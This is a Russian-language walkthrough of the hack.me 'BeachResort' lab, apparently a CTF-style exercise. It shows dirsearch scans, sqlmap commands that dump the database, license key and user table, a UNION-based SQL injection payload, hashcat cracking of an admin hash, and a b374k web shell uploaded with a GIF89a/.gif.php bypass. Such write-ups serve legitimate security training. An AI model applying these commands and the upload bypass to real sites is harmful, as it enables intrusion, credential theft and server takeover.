Всем доброго времени суток, сегодня не будет VulnHub'a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:
- Имя администратора сайта
- Название БД
- Список таблиц
- Список всех файлов в корневой директории CMS
- Лицензионный ключ
- Содержимое очень секретного файла
Приступим
После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent
Сканируем дальше:
$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent
Как и ожидалось, тут есть форма авторизации:
И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs
Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:
Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin
Переходим к списку таблиц:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables
Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump
Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:
$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump
Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:
$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt
И через несколько секунд получаем требуемый пароль:
2bfea2ff114ccd30d95e176a1d25346a:!superadmin!
Пробуем авторизоваться, и попадаем вот на такую страницу:
В целом ничего интересного, кроме страницы с возможностью загрузить изображение:
Попробовав загрузить простенький шелл, получаем ошибку:
Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:
Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:
Приступим к выполнению последних заданий, а именно получим список файлов и директорий:
Тут же находим файл secret.noop, который является последним звеном:
Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.
Автор: GH0st3rs